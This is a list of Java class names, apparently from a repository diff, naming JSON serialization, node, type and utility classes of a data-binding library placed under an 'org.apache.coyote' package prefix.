org.apache.coyote.jsontype.TypeResolverBuilder
org.apache.coyote.jsontype.TypeSerializer
org.apache.coyote.jsontype.impl.AsArrayTypeDeserializer
org.apache.coyote.jsontype.impl.AsArrayTypeSerializer
org.apache.coyote.jsontype.impl.AsExistingPropertyTypeSerializer
org.apache.coyote.jsontype.impl.AsExternalTypeDeserializer
org.apache.coyote.jsontype.impl.AsExternalTypeSerializer
org.apache.coyote.jsontype.impl.AsPropertyTypeDeserializer
org.apache.coyote.jsontype.impl.AsPropertyTypeSerializer
org.apache.coyote.jsontype.impl.AsWrapperTypeDeserializer
org.apache.coyote.jsontype.impl.AsWrapperTypeSerializer
org.apache.coyote.jsontype.impl.ClassNameIdResolver
org.apache.coyote.jsontype.impl.LaissezFaireSubTypeValidator
org.apache.coyote.jsontype.impl.MinimalClassNameIdResolver
org.apache.coyote.jsontype.impl.StdSubtypeResolver
org.apache.coyote.jsontype.impl.StdTypeResolverBuilder
org.apache.coyote.jsontype.impl.SubTypeValidator
org.apache.coyote.jsontype.impl.TypeDeserializerBase
org.apache.coyote.jsontype.impl.TypeIdResolverBase
org.apache.coyote.jsontype.impl.TypeNameIdResolver
org.apache.coyote.jsontype.impl.TypeSerializerBase
org.apache.coyote.module.SimpleAbstractTypeResolver
org.apache.coyote.module.SimpleDeserializers
org.apache.coyote.module.SimpleKeyDeserializers
org.apache.coyote.module.SimpleModule
org.apache.coyote.module.SimpleSerializers
org.apache.coyote.module.SimpleValueInstantiators
org.apache.coyote.node.ArrayNode
org.apache.coyote.node.BaseJsonNode
org.apache.coyote.node.BigIntegerNode
org.apache.coyote.node.BinaryNode
org.apache.coyote.node.BooleanNode
org.apache.coyote.node.ContainerNode
org.apache.coyote.node.DecimalNode
org.apache.coyote.node.DoubleNode
org.apache.coyote.node.FloatNode
org.apache.coyote.node.IntNode
org.apache.coyote.node.InternalNodeMapper
org.apache.coyote.node.JsonNodeCreator
org.apache.coyote.node.JsonNodeFactory
org.apache.coyote.node.JsonNodeType
org.apache.coyote.node.LongNode
org.apache.coyote.node.MissingNode
org.apache.coyote.node.NodeCursor
org.apache.coyote.node.NodeSerialization
org.apache.coyote.node.NullNode
org.apache.coyote.node.NumericNode
org.apache.coyote.node.ObjectNode
org.apache.coyote.node.POJONode
org.apache.coyote.node.ShortNode
org.apache.coyote.node.TextNode
org.apache.coyote.node.TreeTraversingParser
org.apache.coyote.node.ValueNode
org.apache.coyote.ser.AnyGetterWriter
org.apache.coyote.ser.BasicSerializerFactory
org.apache.coyote.ser.BeanPropertyFilter
org.apache.coyote.ser.BeanPropertyWriter
org.apache.coyote.ser.BeanSerializer
org.apache.coyote.ser.BeanSerializerBuilder
org.apache.coyote.ser.BeanSerializerFactory
org.apache.coyote.ser.BeanSerializerModifier
org.apache.coyote.ser.ContainerSerializer
org.apache.coyote.ser.ContextualSerializer
org.apache.coyote.ser.DefaultSerializerProvider
org.apache.coyote.ser.FilterProvider
org.apache.coyote.ser.PropertyBuilder
org.apache.coyote.ser.PropertyFilter
org.apache.coyote.ser.PropertyWriter
org.apache.coyote.ser.ResolvableSerializer
org.apache.coyote.ser.SerializerCache
org.apache.coyote.ser.SerializerFactory
org.apache.coyote.ser.Serializers
org.apache.coyote.ser.VirtualBeanPropertyWriter
org.apache.coyote.ser.impl.AttributePropertyWriter
org.apache.coyote.ser.impl.BeanAsArraySerializer
org.apache.coyote.ser.impl.FailingSerializer
org.apache.coyote.ser.impl.FilteredBeanPropertyWriter
org.apache.coyote.ser.impl.IndexedListSerializer
org.apache.coyote.ser.impl.IndexedStringListSerializer
org.apache.coyote.ser.impl.IteratorSerializer
org.apache.coyote.ser.impl.MapEntrySerializer
org.apache.coyote.ser.impl.ObjectIdWriter
org.apache.coyote.ser.impl.PropertyBasedObjectIdGenerator
org.apache.coyote.ser.impl.PropertySerializerMap
org.apache.coyote.ser.impl.ReadOnlyClassToSerializerMap
org.apache.coyote.ser.impl.SimpleBeanPropertyFilter
org.apache.coyote.ser.impl.SimpleFilterProvider
org.apache.coyote.ser.impl.StringArraySerializer
org.apache.coyote.ser.impl.StringCollectionSerializer
org.apache.coyote.ser.impl.TypeWrappedSerializer
org.apache.coyote.ser.impl.UnknownSerializer
org.apache.coyote.ser.impl.UnwrappingBeanPropertyWriter
org.apache.coyote.ser.impl.UnwrappingBeanSerializer
org.apache.coyote.ser.impl.WritableObjectId
org.apache.coyote.ser.std.ArraySerializerBase
org.apache.coyote.ser.std.AsArraySerializerBase
org.apache.coyote.ser.std.AtomicReferenceSerializer
org.apache.coyote.ser.std.BeanSerializerBase
org.apache.coyote.ser.std.BooleanSerializer
org.apache.coyote.ser.std.ByteArraySerializer
org.apache.coyote.ser.std.ByteBufferSerializer
org.apache.coyote.ser.std.CalendarSerializer
org.apache.coyote.ser.std.ClassSerializer
org.apache.coyote.ser.std.CollectionSerializer
org.apache.coyote.ser.std.DateSerializer
org.apache.coyote.ser.std.DateTimeSerializerBase
org.apache.coyote.ser.std.EnumSerializer
org.apache.coyote.ser.std.EnumSetSerializer
org.apache.coyote.ser.std.FileSerializer
org.apache.coyote.ser.std.InetAddressSerializer
org.apache.coyote.ser.std.InetSocketAddressSerializer
org.apache.coyote.ser.std.IterableSerializer
org.apache.coyote.ser.std.JsonValueSerializer
org.apache.coyote.ser.std.MapProperty
org.apache.coyote.ser.std.MapSerializer
org.apache.coyote.ser.std.NonTypedScalarSerializerBase
org.apache.coyote.ser.std.NullSerializer
org.apache.coyote.ser.std.NumberSerializer
org.apache.coyote.ser.std.NumberSerializers
org.apache.coyote.ser.std.ObjectArraySerializer
org.apache.coyote.ser.std.RawSerializer
org.apache.coyote.ser.std.ReferenceTypeSerializer
org.apache.coyote.ser.std.SerializableSerializer
org.apache.coyote.ser.std.SqlDateSerializer
org.apache.coyote.ser.std.SqlTimeSerializer
org.apache.coyote.ser.std.StaticListSerializerBase
org.apache.coyote.ser.std.StdArraySerializers
org.apache.coyote.ser.std.StdDelegatingSerializer
org.apache.coyote.ser.std.StdJdkSerializers
org.apache.coyote.ser.std.StdKeySerializer
org.apache.coyote.ser.std.StdKeySerializers
org.apache.coyote.ser.std.StdScalarSerializer
org.apache.coyote.ser.std.StdSerializer
org.apache.coyote.ser.std.StringSerializer
org.apache.coyote.ser.std.TimeZoneSerializer
org.apache.coyote.ser.std.ToStringSerializer
org.apache.coyote.ser.std.ToStringSerializerBase
org.apache.coyote.ser.std.TokenBufferSerializer
org.apache.coyote.ser.std.UUIDSerializer
org.apache.coyote.type.ArrayType
org.apache.coyote.type.ClassKey
org.apache.coyote.type.ClassStack
org.apache.coyote.type.CollectionLikeType
org.apache.coyote.type.CollectionType
org.apache.coyote.type.MapLikeType
org.apache.coyote.type.MapType
org.apache.coyote.type.PlaceholderForType
org.apache.coyote.type.ReferenceType
org.apache.coyote.type.ResolvedRecursiveType
org.apache.coyote.type.SimpleType
org.apache.coyote.type.TypeBase
org.apache.coyote.type.TypeBindings
org.apache.coyote.type.TypeFactory
org.apache.coyote.type.TypeModifier
org.apache.coyote.type.TypeParser
org.apache.coyote.util.AccessPattern
org.apache.coyote.util.Annotations
org.apache.coyote.util.ArrayBuilders
org.apache.coyote.util.ArrayIterator
org.apache.coyote.util.BeanUtil
org.apache.coyote.util.ByteBufferBackedInputStream
org.apache.coyote.util.ByteBufferBackedOutputStream
org.apache.coyote.util.ClassUtil
org.apache.coyote.util.CompactStringObjectMap
org.apache.coyote.util.Converter
org.apache.coyote.util.EnumResolver
org.apache.coyote.util.EnumValues
org.apache.coyote.util.ISO8601DateFormat
org.apache.coyote.util.ISO8601Utils
org.apache.coyote.util.JSONPObject
org.apache.coyote.util.JSONWrappedObject
org.apache.coyote.util.LRUMap
org.apache.coyote.util.LinkedNode
org.apache.coyote.util.NameTransformer
org.apache.coyote.util.Named
org.apache.coyote.util.ObjectBuffer
org.apache.coyote.util.PrimitiveArrayBuilder
org.apache.coyote.util.RawValue
org.apache.coyote.util.RootNameLookup
org.apache.coyote.util.SimpleBeanPropertyDefinition
org.apache.coyote.util.StdConverter
org.apache.coyote.util.StdDateFormat
org.apache.coyote.util.TokenBuffer
org.apache.coyote.util.TokenBufferReadContext
org.apache.coyote.util.TypeKey
org.apache.coyote.util.ViewMatcher
File diff suppressed because one or more lines are too long